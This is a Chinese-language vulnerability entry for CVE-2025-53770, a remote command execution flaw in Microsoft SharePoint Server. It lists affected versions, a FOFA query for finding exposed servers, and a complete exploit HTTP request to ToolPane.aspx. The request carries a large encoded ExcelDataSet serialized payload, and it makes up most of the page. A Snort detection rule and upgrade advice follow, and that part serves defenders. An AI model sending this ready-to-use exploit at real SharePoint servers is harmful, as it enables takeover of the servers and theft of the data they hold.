跳转至

MicrosoftSharePointServer-CVE-2025-53770-远程命令执行

MicrosoftSharePointServer-CVE-2025-53770-远程命令执行,攻击者可进行任意命令执行,导致服务器被控。

影响版本

Microsoft SharePoint Server 2016 < 16.0.5513.1001

Microsoft SharePoint Server 2019 < 16.0.10417.20037

Microsoft SharePoint Server Subscription Edition < 16.0.18526.20508

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值
利用难度

漏洞复现

FOFA:header="MicrosoftSharePointTeamServices"

POC/EXP:

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 7646
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Cookie: cookiesession1=678A8C36A68A9A0D4DB151EFB48327D4
Referer: /_layouts/SignOut.aspx

MSOTlPn_Uri=https%3a//your-ip/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22gizpnozlcjfutvbn%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22sjqjboucouuj%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3cgizpnozlcjfutvbn%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3csjqjboucouuj%3aExcelDataSet%20CompressedDataTable%3d%22H4sIAAAAAAAA%2F%2Bx763KjSJaw5%2Ft2J2Jndn%2FtCzj8d7rLgKQqq6KqIzIRILDABolbTnTEcDPISoRGgJD0CvsU%2B6S9kZlIQi672lXdXR2x2%2BmwuOTJk%2BeW55y8cPGni4uLn3766SdyJeXf%2F9%2FFxYUx3ZVVkr8ZBVXw3aWTrMt5sfzYf8ORv%2B8uxRpX9Tr5uEzqah3g7y7v6xDPo9tkNysWyfJj%2BO5dMIgGb%2Flhr59wN8N%2FJcj%2Fs4OT%2FkyTivT1b16Op1GW5MFfvRyP5g8PyjrI%2F%2FQnUvfn%2F39xcfHff%2FmwLd%2BXFORym%2BNl%2BfHqit2835Yfr7KqWr2%2Fvm6a5k3Te1Os02uB4%2FhrT58wtAfYvIyDKvh4Va%2BXLbby%2B3werYuyeKi%2Bj4r8%2FTbH3zOoq8t5%2FPGqLPKEPJVJdfXDf%2Fzl8kkhZCU4yZNldbkM8uS8wSXD9F4tW2Y%2FXlXrOjm%2Bt8tErNfrZFlNiijASVv9TD%2BHvqIiX%2BFkO9utkhegjpBZMY%2BSy3y%2BvIuiel1%2BvOKuLvNge3iql2FRL%2BMkfqm7l1nMkuxFIr%2BO4KetyuSfdbKMXtvkeTJXzfIoaSJ%2FQsPHq9YExQLjJKrmxbJ8oyTLZD2P3kzmZfUP%2Fu9%2F71rpNFlv5lFSvlGXVbJeBviNtF0FRG7uOlitkvU%2FhGMDNwnf2OqbSVHKxToPqipZf3d5qvuaUcT1HgYP7x54Ph5wQS%2F48btjX%2FNlXDQlI%2FIufEyiitzer4vNPCb93q%2BTMllWAWFRXgd50hTrxVeQ0OPDh97N4G0Q9972k97gxx%2BPPJ0J6FfwET%2F%2BeHVZUSVty%2FfBckcUdnVuwdevNaLrL7MiCv96W6XgrbV9bhxeHwfiS2P65%2Fv9TF%2BMS%2BrHfvjzv1xcXPzX4kM8f3hI1%2B%2FZJci%2FyvGxNgzFz7U5dPT9hn%2FWQXb84UsyIP7ksqWb%2BNxZEOKTk1wXzd06TtbUgbVQWVCKWbBMk%2FLj1XxZJuvq837sw6pZHsPF%2FOfjxffzZVkFyyg5BZn4FVHm56zmieu4e%2Bi6ik8H8Teg%2BPI1Y%2BNAtsSM8DVj8MP9uiDsJPH9ulgl62rHvXbk6kmVFbER5MkPo6RM1vMAz%2FfJh%2BvO%2By%2FCdB8Q71cl6%2FJLoknrfr6FCrbl%2FP3B7cXvy2o9X6ZXP1w30m4hpQCYAID76%2Bvr6xsIjsWk93e8MYh6Fg6ng1EobEvkGlzgDutoNxgjd4CjHD9OFttV1LNS3alCu4f3seJUk8VwHuTOYyxuq0gwNlG%2BXfmYj0FDsKKHwLNw6Omy1zNWSW6rXg%2FhaGmsQqEvAwBUESxEAimm5LegBAFyzyjUGJ6FRGFMm76DFHYxZu%2Fogyaa9N0te1fSdyOKglNgowOKkcJQVGOQLgxyMwJ9UpUc%2BcHxJsqrPFSGvcnC2IQe3IS5U8cSv0GKU07kI%2F1DQ%2Bw3k0dQ6%2BJ2FLtbLvY0fO8OcOxZO99tSnvszEMFP04FZ%2BAowzVy%2B0N9L8%2FRo943ZihDI10wFHtvmDYlKsBHHXhhT1ujfLuJd0QffBMKAxwuLSMULByKgxnytJXvbldJLlM9TRbyY6xgIfCsgd1zdlE%2BXPqehW3BoboMe%2Bp6Jmj%2FJPfd%2Bluu1Z9sEB1noYLfIteaIteneoFjaxAp9iR0ncrPnZ2lyJzv6SNoDWeJZ3DI5WrHHaziMf6EpqkyLJHi7EZMX%2FdUNxZVCoQmUzXRk8R0N2Xm6B%2BVJFpUb5pMK6QxOJrFwmH1FBaK4IRLZvbis1eLDi56rymUFum2gytk9Q3D1ZxwjRldCYOlFdHJ7o1NqGyx37NWoTDYTxZZFgkZ57taicyIwN7OlGGGJJT5PWsTpbGLPG1P5CJK1K6yKHd2kkTbjYhe7bG2iXO8QJ6qThV5H8h0zEjEfqIGub675ZFHZKKPALBlsUk%2FQw%2BmduN7Go7m1lFXpjAsQ8UhtrIJl3o9tZ%2Fv%2F50s9e8blfIhpkwPYyZbKsFRw1HpUd0u%2BGBBhtJBpvfX1wCI%2FaOLkcCXFdotuBu%2FK%2B7AxNT2U6UP7L2hOlYReHoajbUN6mlZOIWPvjuow56Z%2BrmdRkunVhVcq5J1b%2B9gRXiapJwhzs0jaluyAZAaCJqRJflaceqUcKJmYiNNAAAK5SVtq2B%2FcSTrwAs8kKke7AWcbIqVtMMMdTWSKLfA5hH41MA8F8JIUhsAnOYAKBYgfUlglFL91fL9XBFPlHc4SQGA6pOXdaw4%2FZi2MalUGIB%2FxPIUCaFzstT2Ua6f%2BGHylF5qRIUlDnbI3W78pjWyg2bob%2FNpI4JNekrugb%2BDmFt%2BUiCDMeVPp6jM55t9eRFdME8Jube3FOlqQ3yemN8Q27qNUgmAMdxJDQCRcjOmcCREY%2BPWJHUtHZTfsc%2FROLMHe322YNSbkAa5MWFWNP4GgKiSNhp7nsVjbRXm8Z4C3zZEtHTAqrwzA3dU1LQHlYudqW3SEU3k6VHSDTFUhvMTL0RU8lg%2Bim%2F0VpvpQE4PWDo6p8%2FRk%2BeDaRZHvmAKVoRkmEIXjHxyFchVTMUCaBwQieg0DozS0QAYh2Eqna4mgGRYMH9vs2f5MOR8XwfglsBJJtFqHyj0WhD66VU1RQ7ABqjmyACiBG5NYICpD3QTIDAtwSQFEzCSyHUGRsWn1t8WfGKyUyTSH%2BPzaU0jxk%2BYORRI5NEt9yTnGDslmvVBkG%2BzMHcylC9qpGxLINkg9IzHsKeVgauCQxwAUhvPAahZ3IFH328vnTpWcIWmLKcI3C2OsIGjJVr5grMHLC6tQoXFbzt3St%2FLMhYrDBiPrV3ganys2OCIy2axLFbwPHC3JA84g%2BvQDTo5FvZTqMZjqzGFYetH4BJ51oNJcxOnjgGrt3NnHynDOhJsgASH83gNRz1I6MFAfjFnnUWK8xi4chl4K4wAvPNdHju5XMaucwYLlBjH8lBFrrwg8RmMDfKsUVlSrcg%2BEDkwSyEPFB2EAGKgLACw%2BBGQfWCZoAIjlVj4DoxsMDEBD0Y6MBrQo4OX2MEkd%2FNmymsyktIy5d5ZeSXc6ECcxG892UfGnaiBHYE1U2BKqjgB117vxuLN4i2xHymTiDebyqQeqghOgQjM%2Fp0IpKPPHFOfAW2QIS%2FK5WaWD2vLyx6RBymfjpLtwl68p%2FTcNY%2FnpteJb58p2mfqPM7YRAurDCU%2BC9z%2BwTYxmg4WodL66PsbTAj%2B0nTgj%2FJH%2BQ0LbJ20%2F3wGQmqpxTYv14NjPuFKzMmfQUiNSCebsg%2FsBj4wvwGnQNbB1IT3QOoDr4EauVopvGeNxCG8u%2F7bMyHkUK5PtzTYPEscm25JwElhBsYqwb8CSgOQCTWg9AFK4aYFXTA80CZwvglrMKb%2BLgNjEwQm3BD4QylJkKTJGZyR%2Boji7QPUQIX4R%2BonpQUIU5gD5QYc8hNA4u%2BIZgT0agA4b5O6knogs9veJHTuid%2Bl%2BMcAxID0cwPCNkWlQh9R5iGQfEJnCRSb8IsJH1FzDq8DUBP4SQoaMkWhmcmoASOSPzB6OdI%2BSmENFInQcUevJqShPkgJfonAYXJFhC6xDxAg71s%2FJ6Ykr4RAonJetnhGhI4IwAGhK6DvUxAfNQclmqIRezjWU3oygrejt%2FqL6RmZTD4yIHxtSHISm%2FCR6O1ZOZ3Lp27106cJtwkhsYuoIf1xwCf9jxdABdBt5bandDewflHef5T%2FbeU4%2F1RHv9oE6o%2FyR%2FnVCwQkFoGH01zEqemaqeDs2vkCm%2B8ssk2oWDhia18SXfc0sRPmmEscuiaqm56xRy4%2FD8eYzi%2FIHFQEfkYaXKfycd41U3AdTQdyuHQq5GmZn2%2FxLR8XyNOO67OWO%2BBD19nR9UMbcwQuVoY7f6SF7mltXkw8C7s8V6oKv%2FeF4S5U8HwiwuPa4v3MrHW2Ll2qksGHY4uPcnsY5g4fj7UsFJv0uXVp%2FzHq%2BTPn0Zj527uZzqEZ6N85XNnpe4pcdJw3TRbyPhKcys%2B3g4kIT2v%2F8yZ1cmcXCXgTPnJs3YLQI8Jn18hVGfI%2BacdVOHGsTSA49b2r9gxB4v29Leizxd5Q7OZuhGPPpL5FUem6UdVd09yh6fZZGZg9p4zHzg7N%2BBp5Dhflcjl5dZ8LtrDF1jPavYhCY%2FOgQm0TrlsRpCxHsyg0zd%2Fg3CaBlAenNX09cAfbycKpY5fHUS7PQ8VeO0KGo9yZIZeu3Z7ZyNSzCBwX9rRUx509F6xhlB%2FWevv1yQ4Xv4ddfGa%2FCJ%2Fx44%2Fkri3biQfxN7OdaZN21ktK9dl9nCZ91l5EaMYuaWdMkIftUKhw%2BMjPjX2cGa7OG4%2FSQN9bWB%2BlA8%2Fh2FrmlGamppSe7IcZSaHdvmg%2Fesd%2ByJR89AD438B%2BPtkriHGYE%2F%2Bn11O7i9853%2BvD1O99Ixvj429lGxO5enF%2FxBKcmu5r7Qba0Ud71ibKwdblT%2B2cMW7Qt7Oxb6aDdo%2BMrgVLbNOu3Xe1me1Om4MNU0gxTdV2n5Xu0Y1otU%2FX0gap9lvExFf5H9bu%2F4D%2FmW5%2Ft%2FF6bit%2Bx1bovcbmfovt0U6OfpC6TMjW8ml%2BpujEnO5u4MlnbVfhUqrPbGJaeYHi7JBjYDpmpTPfpcXKcazufrex2tXH8azE7xOLlE4uA9tcxjBfikWLUyx6pPpbna3fzwfOdDrwkKuNQmHARfmwjHYD03djjCQrixV5FvacnS%2Bwsw3wkfQLb89x%2FOKcrdEFn0ePca7P5IUxg5kuSKbSibmMr4OtpSo7Z0J4PP63dVLY8VcDKgyn62M%2BOYMhIc9YIaFfW4qzD9yYxAnCz7xdTnxLxXjM%2F36b%2FJQOMEB9sQHSxTuqb0D3HQ%2FnYCA7x8DG1T3d6rOe2xOaIpffxAqu0W4wChS5DnOH6BQiId4hN85ixZGC1s%2F6njZo%2Bfwb7avjYyTYB4d1S5GdwTDZ2QGV6YSdB6FpkMQUxFbA2DEfIDKTkWieLZ5ihqWQuEDpePGsCQtDmUTyISTIHDLjCnlWEQpmAxq9OY1Fi%2FiMwxmZ5%2Bd%2B8%2BqEh%2BRFY20weXE%2BxOPQ1XC0wDXKhy%2FSJ9pMBiaVh1SA474KZmPVprqEE3DcbNUsyhNmqp4xJ8pg2dmnKYu32w4udg7KZvqnY7zFxZpjg%2BGi9W2%2FfVZP6bKoPvTT%2FtpJDs7pnJDv0fxRDYXtAnnquqMfOVxau4Sdg5Fi4m%2FNLIt6BpFRmZiI8z1tiTxzGivyDgkOR32yfZpTjpZWFuUxjmUSwxw6vxZzHsdKtkHSIAtd20Cf9CdBkEoQmL9cz2x1Fbw74UF8mBtP8mhtECtO6L1ynuw5nHbPzrm1V0TPPCn459tCzNYh6JkiUEjUfsTTGSw7d%2FJj3jofGGQ%2BiDxNC3O0eXltg521muVyhcwtPOrHpvLVTGFLdMZk7xBfN8iorzJXB%2Fw0h5Kkw%2FzBgFEek%2Fhcx2MdAqIPoKsj5zzncnlOs9lZIuY7HDomFIfIRIxf4ulE3xTqoSAvbqVW%2FtOFynIKmdoyOxKI6FEGdOpbid3B45Pc8WVdncXtXzJfcmLP4WNx1mfxlV01NnRRQOmWjna%2BF1OZHndj%2FgGz%2BvM2dMtAkT%2BRaWodxpGnF7dMCLfA9o9H5CAmeEQRfF4mv2g%2BT3j91eZTDh8%2FM2bor%2FGr0cspPnWN%2FBh51tl8QUzlcUcXWVcX7IAhon7Ycr5uLvLUTlRiB6cclgt7akeP6UmPOYkREH3eN73KZtnawLM2e%2BbTxFAYlsiV62f0sSS%2FY%2FyiDM71nKKC2Ty%2FiXPnDnkZJ6ay1pFz0ZUzYueI19RRLbRNKGyx7%2FbTmTsUkD3AydjsyKjoyIg0hO43lNHBnp7Kp%2F4ae31pvkrsNaQyqZ6clykgnYpL7Kxm2PWvLpWlElETwk%2FmQU%2FO3YjpiqVkBaS5AjtHp0Q03mxPudjSqX3hmXnVuUzu%2FXxF5Bt7ZktLyq5wSfMc86QLdn65tRGBVI4Wxg65JCbjOupZWZgbWExlo2MrQtdWYjqO0dPcvaXBTM2ehkkeMHUH%2B1iRa1%2Bwiydz5RPv6SlnTmhcQl2fVkXKsEbugJu5wwVym%2BMcgNqUy2dhbmlWe474jsq93ddnudwNS3pTmhFDlhxPTrKI%2BcA1JyxVG2YAD%2BcADx8BHi4AHmKAhznAwyXAwwLg4Qrg4T8BHtIx0ikqbCKRTHnof6bPuOWsvq0ka35dgkJf3GubaPLhuv084dVfQ33lpxAf2EcpavthQ%2BdThe6XK1c%2FfLg%2BB3zVF1df%2FInIh%2Bsv%2FIDms59mrZrlix9lZUn2%2FKdYL3%2FN9OH6yZdXP%2Fz1fwIAAP%2F%2FvXkgrlk7AAA%3D%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/gizpnozlcjfutvbn%3aUpdateProgress%3e%0a

image-20250725161456052

sonrt规则:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"SharePoint - RCE via ToolPane.aspx (CVE-2025-53770)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/_layouts/15/ToolPane.aspx"; http_uri;
    content:"DisplayMode=Edit"; http_uri;
    content:"MSOTlPn_Uri="; http_client_body;
    pcre:"/MSOTlPn_Uri=[^&]*%3a%2f%2f[^%2f]+%2f_controltemplates%2f15%2fAclEditor\.ascx/i";
    metadata:cve CVE-2025-53770;
    metadata:affected_product "Microsoft SharePoint Server";
    metadata:vulnerability_type "Server-Side Template Injection";
    classtype:web-application-attack;
    sid:1000380;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。